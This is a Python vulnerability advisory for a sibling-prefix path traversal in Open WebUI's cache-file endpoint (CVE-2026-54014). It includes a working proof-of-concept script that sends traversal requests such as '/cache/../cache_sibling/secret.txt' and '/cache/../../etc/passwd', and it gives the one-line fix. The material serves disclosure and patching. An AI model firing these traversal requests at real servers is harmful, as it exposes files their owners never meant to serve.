id: PYSEC-2026-2736 published: "2026-07-13T15:46:19.512355Z" modified: "2026-07-13T16:05:13.314126Z" aliases: - CVE-2026-54014 - GHSA-j2c8-v969-8r5c summary: "Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}" details: "## Summary\n\nA path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator.\n\nThe root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` — without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation.\n\nDeep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.\n\n### Exploitation constraints\n\n| Constraint | Detail |\n|---|---|\n| Auth required | `get_verified_user` — any user with role `user` or `admin` |\n| Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) |\n| Deep traversal | Blocked — `../../etc/passwd` correctly fails the startswith check |\n| Absolute paths | Blocked — `/etc/passwd` correctly fails |\n| Client normalization | httpx/browsers normalize `..` client-side — must use raw HTTP or ASGI to deliver payload |\n\n## Vulnerability Details\n\n### Vulnerable function: `serve_cache_file()`\n\n```python\n# open_webui/main.py, line 2907-2924\n@app.get('/cache/{path:path}')\nasync def serve_cache_file(path: str, user=Depends(get_verified_user)):\n file_path = os.path.abspath(os.path.join(CACHE_DIR, path))\n # prevent path traversal\n if not file_path.startswith(os.path.abspath(CACHE_DIR)): # ← BUG: no trailing os.sep\n raise HTTPException(status_code=404, detail='File not found')\n if not os.path.isfile(file_path):\n raise HTTPException(status_code=404, detail='File not found')\n return FileResponse(file_path, headers=headers)\n```\n\n### The bypass\n\n```python\nCACHE_DIR = \"/data/cache\"\n\n# Attacker path: \"../cache_sibling/secret.txt\"\nfile_path = os.path.abspath(os.path.join(\"/data/cache\", \"../cache_sibling/secret.txt\"))\n# → \"/data/cache_sibling/secret.txt\"\n\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache\")\n# → True ← BYPASS (because \"cache_sibling\" starts with \"cache\")\n\n# Correct check would be:\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache/\")\n# → False ← BLOCKED\n```\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| open-webui | 0.9.5 (pip installed) |\n| Python | 3.11 |\n| Import | `from open_webui.main import app` (true import, real FastAPI app) |\n| Method | Raw ASGI request (bypasses httpx client-side `..` normalization) |\n\n### poc.py\n\n```python\n\nimport asyncio\nimport os\nimport shutil\nimport sys\nimport tempfile\nTEMP_DATA = tempfile.mkdtemp(prefix=\"owui_poc_\")\nos.environ[\"DATA_DIR\"] = TEMP_DATA\nos.environ[\"WEBUI_SECRET_KEY\"] = \"poc_secret_key_12345\"\nos.environ[\"WEBUI_AUTH\"] = \"false\"\nCACHE_DIR = os.path.join(TEMP_DATA, \"cache\")\nSIBLING_DIR = os.path.join(TEMP_DATA, \"cache_sibling\")\nos.makedirs(CACHE_DIR, exist_ok=True)\nos.makedirs(SIBLING_DIR, exist_ok=True)\n\nSECRET_CONTENT = \"STOLEN_FROM_SIBLING_DIR\"\nwith open(os.path.join(SIBLING_DIR, \"secret.txt\"), \"w\") as f:\n f.write(SECRET_CONTENT)\nwith open(os.path.join(CACHE_DIR, \"legit.txt\"), \"w\") as f:\n f.write(\"legitimate_cache_file\")\nfrom open_webui.main import app\nfrom open_webui.utils.auth import get_verified_user\nclass FakeUser:\n id = \"poc\"\n email = \"poc@test\"\n role = \"user\"\n\napp.dependency_overrides[get_verified_user] = lambda: FakeUser()\nasync def raw_asgi_get(app, path):\n \"\"\"Send a raw ASGI request without client-side path normalization.\"\"\"\n scope = {\n \"type\": \"http\",\n \"method\": \"GET\",\n \"path\": path,\n \"query_string\": b\"\",\n \"headers\": [(b\"host\", b\"localhost\")],\n \"root_path\": \"\",\n \"asgi\": {\"version\": \"3.0\"},\n }\n response_started = False\n status_code = None\n body_parts = []\n\n async def receive():\n return {\"type\": \"http.request\", \"body\": b\"\"}\n\n async def send(message):\n nonlocal response_started, status_code\n if message[\"type\"] == \"http.response.start\":\n response_started = True\n status_code = message[\"status\"]\n elif message[\"type\"] == \"http.response.body\":\n body_parts.append(message.get(\"body\", b\"\"))\n\n await app(scope, receive, send)\n return status_code, b\"\".join(body_parts)\n\n\nasync def main():\n s1, b1 = await raw_asgi_get(app, \"/cache/legit.txt\")\n s2, b2 = await raw_asgi_get(app, \"/cache/../cache_sibling/secret.txt\")\n s3, b3 = await raw_asgi_get(app, \"/cache/../../etc/passwd\")\n\n baseline_ok = s1 == 200 and b\"legitimate_cache_file\" in b1\n exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2\n deep_blocked = s3 == 404\n\n print(f\"package: open_webui (pip installed)\")\n print(f\"version: 0.9.5\")\n print(f\"function: serve_cache_file (GET /cache/{{path}})\")\n print(f\"sink: main.py:2914 file_path.startswith(os.path.abspath(CACHE_DIR))\")\n print(f\"bypass: startswith without trailing os.sep allows sibling-prefix match\")\n print()\n print(f\"CACHE_DIR: {CACHE_DIR}\")\n print(f\"SIBLING: {SIBLING_DIR}\")\n print()\n print(f\"[baseline] /cache/legit.txt status={s1} body={b1[:40]!r}\")\n print(f\"[exploit] /cache/../cache_sibling/secret.txt status={s2} body={b2[:40]!r}\")\n print(f\"[control] /cache/../../etc/passwd status={s3} (should be 404)\")\n print()\n print(f\"result: {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}\")\n\n shutil.rmtree(TEMP_DATA, ignore_errors=True)\n sys.exit(0 if exploit_ok else 1)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n\n```\n\n### PoC output \n\n\"image\"\n\n\n## Suggested Fix\n\n```python\nif not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):\n raise HTTPException(status_code=404, detail='File not found')\n```\n\nSingle character fix: append `os.sep` to the prefix in the `startswith` check." affected: - package: name: open-webui ecosystem: PyPI purl: pkg:pypi/open-webui ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 0.9.6 versions: - 0.1.124 - 0.1.125 - 0.2.0 - 0.2.1 - 0.2.2 - 0.2.3 - 0.2.4 - 0.2.5 - 0.3.0 - 0.3.1 - 0.3.10 - 0.3.12 - 0.3.13 - 0.3.14 - 0.3.15 - 0.3.16 - 0.3.17 - 0.3.17.dev2 - 0.3.17.dev3 - 0.3.17.dev4 - 0.3.17.dev5 - 0.3.18 - 0.3.19 - 0.3.2 - 0.3.20 - 0.3.21 - 0.3.22 - 0.3.23 - 0.3.24 - 0.3.25 - 0.3.26 - 0.3.27 - 0.3.27.dev1 - 0.3.27.dev2 - 0.3.27.dev3 - 0.3.28 - 0.3.29 - 0.3.3 - 0.3.30 - 0.3.30.dev1 - 0.3.30.dev2 - 0.3.31 - 0.3.31.dev1 - 0.3.32 - 0.3.33 - 0.3.33.dev1 - 0.3.34 - 0.3.35 - 0.3.4 - 0.3.5 - 0.3.6 - 0.3.7 - 0.3.8 - 0.3.9 - 0.4.0 - 0.4.0.dev1 - 0.4.0.dev2 - 0.4.1 - 0.4.2 - 0.4.3 - 0.4.4 - 0.4.5 - 0.4.6 - 0.4.6.dev1 - 0.4.7 - 0.4.8 - 0.5.0 - 0.5.0.dev1 - 0.5.0.dev2 - 0.5.1 - 0.5.10 - 0.5.11 - 0.5.12 - 0.5.13 - 0.5.14 - 0.5.15 - 0.5.16 - 0.5.17 - 0.5.18 - 0.5.19 - 0.5.2 - 0.5.20 - 0.5.3 - 0.5.3.dev1 - 0.5.4 - 0.5.5 - 0.5.6 - 0.5.7 - 0.5.8 - 0.5.9 - 0.6.0 - 0.6.1 - 0.6.10 - 0.6.11 - 0.6.12 - 0.6.13 - 0.6.14 - 0.6.15 - 0.6.16 - 0.6.18 - 0.6.19 - 0.6.2 - 0.6.20 - 0.6.21 - 0.6.22 - 0.6.23 - 0.6.24 - 0.6.25 - 0.6.26 - 0.6.26.dev1 - 0.6.27 - 0.6.28 - 0.6.29 - 0.6.3 - 0.6.30 - 0.6.31 - 0.6.32 - 0.6.33 - 0.6.34 - 0.6.35 - 0.6.36 - 0.6.37 - 0.6.38 - 0.6.39 - 0.6.4 - 0.6.40 - 0.6.41 - 0.6.42 - 0.6.43 - 0.6.5 - 0.6.6 - 0.6.6.dev1 - 0.6.7 - 0.6.8 - 0.6.9 - 0.7.0 - 0.7.1 - 0.7.2 - 0.8.0 - 0.8.1 - 0.8.10 - 0.8.11 - 0.8.12 - 0.8.2 - 0.8.3 - 0.8.4 - 0.8.5 - 0.8.6 - 0.8.7 - 0.8.8 - 0.8.9 - 0.9.0 - 0.9.1 - 0.9.2 - 0.9.3 - 0.9.4 - 0.9.5 references: - type: WEB url: https://github.com/open-webui/open-webui/security/advisories/GHSA-j2c8-v969-8r5c - type: PACKAGE url: https://github.com/open-webui/open-webui - type: PACKAGE url: https://pypi.org/project/open-webui - type: ADVISORY url: https://github.com/advisories/GHSA-j2c8-v969-8r5c - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-54014 severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N